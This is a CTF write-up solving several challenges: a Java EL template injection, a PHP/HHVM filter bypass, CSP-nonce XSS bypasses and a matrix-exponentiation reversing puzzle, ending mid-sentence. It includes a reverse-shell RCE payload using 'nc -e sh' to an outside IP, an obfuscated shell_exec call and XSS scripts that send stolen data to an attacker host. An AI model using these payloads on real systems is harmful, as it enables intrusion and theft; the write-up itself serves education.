It's recommended to read our responsive web version of this writeup.
This blackbox challenge has only one input box. After some fuzzing @how2hack found the input ${7*7}
will return 49.
Based on JSESSIONID
, we know this is a Java application. After some trial and error, we google the error message and find it's Java Unified Expression Language
.
> ${context}
de.odysseus.el.util.SimpleContext@5bd317d3
This articile demos how to RCE through this template injection.
Here is the final RCE payload:
${true.getClass().forName("java.lang.Runtime").getMethods()[6].invoke(true.getClass().forName("java.lang.Runtime")).exec("busybox nc 133.221.333.123 1337 -e sh")}";
# p4{inside-jar-was-juel-who-blocked-my-classes-and-made-me-use-session-giving-me-depression}
The server uses hhvm to run the php sandbox. Here is a simple hello world sample:
<?hh
<<__EntryPoint>>
function main(): void {
echo 123;
}
The server also has a lots of keyword filter. For instance, the source code cannot contain shell_exec
. However this is trivial to bypass as PHP is a pretty dynamic language.
<?hh
<<__EntryPoint>>
function main(): void {
echo call_user_func("shell_\x65xec","cat \x2fvar\x2fwww\x2f*lag* 1>&2");
}
Flag: p4{h4x0riN9_7H3_H4ck}
This is a XSS challenge and flag is in /flag
(JSONP script endpoint). However, strict CSP is deployed:
default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css; img-src 'self'; script-src 'nonce-GXj7n92IV_gjalKGExKGCg' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/
So we cannot just fecth("/flag")
and read the content. We have to somehow inject <script src="/flag">
with valid nonce.
On one of the page, we have an XSS endpoint. The payload is inside <script>
block so we don't have to worry about nonce.
We just retrieve the nonce through document.querySelector("script").nonce;
and use document.write
to load the flag.
The attack steps:
- Redirect admin to our page using
</script><meta http-equiv="refresh" content=...
- Redirect admin to the DOM XSS page
note/UUID?theme=XSS_PAYLOAD
- Retrieve the nonce and load the flag
- Javascript redirection
location=
the exfiltrate the flag
#!/usr/bin/env python3
import requests
from base64 import b64encode
from urllib.parse import quote
def replace(x):
for old, new in [
('"', '\\x22'),
('<', '\\x3c'),
('>', '\\x3e'),
('\n', ''),
]:
x = x.replace(old, new)
return x
payload = quote(replace('''
nonce=document.querySelector(`script`).nonce;
document.write(`<script nonce="${nonce}" src="/flag?var=flag"></script>
<script nonce="${nonce}">location="//133.221.333.123:1337/flag.html?"+btoa(flag)</script>`);
'''))
redirect_url = 'http://yacc.zajebistyc.tf/note/b02e8d7d-be2a-455d-8eeb-2d0db6194a95?theme=' + payload
print(redirect_url)
# cat type payload
print(f'</script><meta http-equiv="refresh" content="0;url=http://133.221.333.123:1337" />'.replace('"', '"'))
# index.html
f'''
location = '{redirect_url}'
'''
Flag: p4{you_painted_it_yourself!}
This is apparently an unintended solution. Another unintended solution is using window.open
. See @terjanq's payload for details. Both solution does not exploit through the flag JSONP API.
The intended solution, according to XeR, is using BMP to leak the pixels, as the CSP allows to include images from self
.
http://yayacc.zajebistyc.tf/flag?var=%42%4D%50%00%00%00%00%00%00%00%20%00%00%00%0C%00%00%00%08%00%0A%00%01%00%01%00%FF%FF%FF%00%00%00
And use <img>
to load the flag and leak it.
This is a fixed version of the previous challenge by removing the script element document.scripts[0].remove()
. We can no longer retrieve the nonce.
However, violating CSP will fire an event SecurityPolicyViolationEvent, which can be useful to retrieve the nonce.
The attack steps are exactly the same as the previous challenge.
#!/usr/bin/env python3
import requests
from base64 import b64encode
from urllib.parse import quote
def replace(x):
for old, new in [
('"', '\\x22'),
('<', '\\x3c'),
('>', '\\x3e'),
('\n', ''),
]:
x = x.replace(old, new)
return x
payload = quote(replace('''
document.addEventListener(`securitypolicyviolation`, function (e) {
nonce=e.originalPolicy.substring(182, 204);
document.write(`<script nonce="${nonce}" src="/flag?var=flag"></script><script nonce="${nonce}">location="//133.221.333.123:1337/flag222.html?"+btoa(flag)</script>`);
});
fetch(`foo`)
'''))
redirect_url = 'http://yayacc.zajebistyc.tf/note/6fadeb7c-b5cc-426c-b7dc-92a7cba5fdd7?theme=' + payload
print(redirect_url)
# cat type payload
print(f'</script><meta http-equiv="refresh" content="0;url=http://133.221.333.123:1337" />'.replace('"', '"'))
# index.html
f'''
location = '{redirect_url}'
'''
Flag: p4{can_you_draw_with_a_cat?}
For the intended solution, please refer to the previous challenge's write-up.
# sage ./flag.sage
# p4{62246322232ceabf0bf1d9826c054007}
'''
loop:
lea rdx, [rdx+rdx*2]
lea rdx, [rdx+rcx*2+4]
xchg rcx, rdx
jmp loop
x' = y
y' = 3x + 2y + 4
[ x , y , 1 ]
[ 0 , 3 , 0 ]
[ 1 , 2 , 0 ]
[ 0 , 4 , 1 ]
'''
K = Zmod(2^64)
A = Matrix(K, [
[ 0x82F96AC97429A68B, 0x32B9B6BCA55548ED, 1]
])
N = Matrix(K, [
[ 0, 3, 0],
[ 1, 2, 0],
[ 0, 4, 1],
])
assert N^(2^64) == identity_matrix(3)
dp = [0] * 1338
dp[0] = 1
dp[1] = 3
dp[2] = 5
dp[3] = 15
K = Zmod(2^66)
dp = [K(e) for e in dp]
for i in range( 1338 ):
if dp[i]:
continue
dp[i] = dp[i-1] + dp[i-2] ** 2 + dp[i-3] ** 3
#print(i, dp[i])
n = dp[1337]
e = ZZ(n) // 4
print( 'n =' , n )
print( 'n / 4 =' , e )
print( 'n % 4 =' , n % 4 ) # 1
ans = A*N^e
print( 'A * N^e =' , ans)
rdx = ans[0,0]
rcx = ans[0,1]
rdx = rdx + rdx * 2
print( 'p4{%016x%016x}' % ( rcx , rdx ) )
Given a big prime
First, observe the eigen values of each matrix.
Eigen value of
By diagnalizing